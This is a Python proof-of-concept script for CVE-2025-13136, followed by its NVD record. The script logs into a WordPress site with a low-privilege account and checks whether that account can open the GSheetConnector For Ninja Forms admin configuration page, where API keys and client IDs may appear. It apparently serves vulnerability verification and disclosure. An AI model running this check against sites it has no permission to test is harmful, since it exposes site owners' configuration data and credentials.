CVE-2025-13136

#!/usr/bin/env python3 """ CVE-2025-13136 PoC - GSheetConnector For Ninja Forms Unauthorized Access Description: Missing capability check allows authenticated users to access admin pages """ import requests from urllib.parse import urljoin def check_vulnerability(target_url, username, password): """ Check if the target WordPress site is vulnerable to CVE-2025-13136 Args: target_url: Base URL of the WordPress site username: WordPress username (subscriber level or higher) password: WordPress password Returns: bool: True if vulnerable, False otherwise """ # WordPress login endpoint login_url = urljoin(target_url, 'wp-login.php') # Admin page vulnerable to the issue vulnerable_page = 'wp-admin/admin.php?page=njform-google-sheet-config' admin_url = urljoin(target_url, vulnerable_page) session = requests.Session() # Step 1: Login to WordPress with subscriber account login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': admin_url, 'testcookie': '1' } try: # Attempt login login_response = session.post(login_url, data=login_data, timeout=10) # Step 2: Access the vulnerable admin page admin_response = session.get(admin_url, timeout=10) # Check if we can access the configuration page # Vulnerable if response indicates access to admin functionality if admin_response.status_code == 200: # Check for specific indicators of successful unauthorized access if any(indicator in admin_response.text.lower() for indicator in [ 'google sheet', 'api key', 'client id', 'configuration', 'gsheetconnector', 'ninja forms' ]): return True return False except requests.RequestException as e: print(f"[!] Request failed: {e}") return False def main(): target = input("Enter target WordPress URL (e.g., https://example.com/): ") user = input("Enter WordPress username: ") pwd = input("Enter WordPress password: ") print(f"\n[*] Testing CVE-2025-13136 on {target}") print(f"[*] Using credentials for user: {user}") is_vulnerable = check_vulnerability(target, user, pwd) if is_vulnerable: print("[!] VULNERABLE - Unauthorized access successful") print("[*] The site is affected by CVE-2025-13136") else: print("[-] NOT VULNERABLE - Access denied or patch applied") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-13136", "sourceIdentifier": "[email protected]", "published": "2025-11-22T09:15:42.747", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GSheetConnector For Ninja Forms plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'njform-google-sheet-config ' page in all versions up to, and including, 2.0.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve information about the system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3399046%40gsheetconnector-ninja-forms&new=3399046%40gsheetconnector-ninja-forms&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5770cb94-8603-44d9-8cda-925175851b51?source=cve", "source": "[email protected]"}]}}